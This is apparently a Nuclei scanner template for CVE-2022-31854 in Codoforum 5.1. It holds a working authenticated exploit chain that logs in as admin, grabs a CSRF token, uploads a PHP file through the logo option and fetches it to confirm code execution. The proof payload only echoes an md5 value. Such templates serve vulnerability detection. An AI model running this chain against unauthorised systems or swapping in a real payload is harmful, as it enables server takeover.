id: CVE-2022-31854

info:
  name: Codoforum 5.1 - Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
    - https://codoforum.com
    - https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31854
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-31854
    cwe-id: CWE-434
    epss-score: 0.05293
    cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    vendor: codologic
    product: codoforum
  tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive

http:
  - raw:
      - |
        POST /admin/?page=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB

        ------WebKitFormBoundaryACGPpj7UIqmtLNbB
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundaryACGPpj7UIqmtLNbB
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundaryACGPpj7UIqmtLNbB--
      - |
        GET /admin/index.php?page=config HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/index.php?page=config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA

        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="site_title"


        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
        Content-Type:  application/x-httpd-php

        <?php

        echo md5('CVE-2022-31854');

        ?>
        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="CSRF_token"

        {{csrf}}
        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
      - |
        GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "a63fd49130de6406a66600cd8caa162f")
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="CSRF_token" value="([0-9a-zA-Z]+)"/>
        internal: true